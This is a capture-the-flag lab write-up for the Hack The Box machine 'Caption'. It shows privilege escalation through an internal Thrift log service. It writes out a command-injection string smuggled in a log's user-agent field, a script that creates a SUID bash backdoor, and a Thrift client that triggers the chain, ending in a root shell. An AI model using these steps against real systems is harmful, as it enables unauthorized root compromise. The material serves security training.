Logservice


┌──(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ ssh margo@$IP -i ./id_ecdsa.margo -L 9090:127.0.0.1:9090 -N -f

The server application is running on the target internal port 9090 It would need to tunnel it to access the server application

margo@caption:~$ nano /tmp/malicious.log
margo@caption:~$ cat /tmp/malicious.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"

The logs variable contains the userAgent variable, which I can have control over I will place the stager in the user-agent attribute, which will be passed on to the userAgent variable then the logs variable. The stager executes the payload at /tmp/payload.sh

margo@caption:~$ nano /tmp/payload.sh
margo@caption:~$ cat /tmp/payload.sh
#!/bin/bash
cp /bin/bash /tmp/pe
chmod +s /tmp/pe

The payload is a simple bash script to copy the bash binary and turning it into a SUID binary

margo@caption:~$ nano log_service.thrift
margo@caption:~$ cat log_service.thrift
 
namespace go log_service
 
service LogService {
    string ReadLogFile(1: string filePath)
}

The server application uses the thrift framework, so I need to create a thrift file

margo@caption:~$ thrift -r --gen py log_service.thrift ; cd gen-py

Then I can use the thrift file to generate a Python client

margo@caption:~/gen-py$ nano client.py
margo@caption:~/gen-py$ cat client.py
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService  # Import generated Thrift client code
 
def main():
    # Set up a transport to the server
    transport = TSocket.TSocket('localhost', 9090)
 
    # Buffering for performance
    transport = TTransport.TBufferedTransport(transport)
 
    # Using a binary protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
 
    # Create a client to use the service
    client = LogService.Client(protocol)
 
    # Open the connection
    transport.open()
 
    try:
        # Specify the log file path to process
        log_file_path = "/tmp/malicious.log"
 
        # Call the remote method ReadLogFile and get the result
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
 
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")
 
    # Close the transport
    transport.close()
 
if __name__ == '__main__':
    main()

The client application should contain the log file, which is the stager that I set up earlier

┌──(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ scp -i ./id_ecdsa.margo -r margo@$IP:~/gen-py .
ttypes.py                                                                      100%  440    10.8KB/s   00:00    
LogService-remote                                                              100% 2777    66.4KB/s   00:00    
constants.py                                                                   100%  366     9.0KB/s   00:00    
__init__.py                                                                    100%   48     1.2KB/s   00:00    
LogService.py                                                                  100% 8031   195.2KB/s   00:00    
client.py                                                                      100% 1074    25.4KB/s   00:00    

I will then transfer the whole client package to Kali

┌──(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ python3 -m venv myVenv ; source ./myVenv/bin/activate

Instantiating a Python virtual environment

┌──(myVenv)─(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ pip3 install thrift                                  
Collecting thrift
  Using cached thrift-0.20.0-cp311-cp311-linux_x86_64.whl
Collecting six>=1.7.2 (from thrift)
  Using cached six-1.16.0-py2.py3-none-any.whl.metadata (1.8 kB)
Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: six, thrift
Successfully installed six-1.16.0 thrift-0.20.0

Installing the thrift module

┌──(myVenv)─(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ python3 gen-py/client.py                             
Server response: Log file processed

Executing the client application

SUID bash has been generated

margo@caption:/tmp$ ./pe -p
pe-5.1# whoami
root
pe-5.1# hostname
caption
pe-5.1# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:38:74 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.226.125/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2667sec preferred_lft 2667sec

System Level Compromise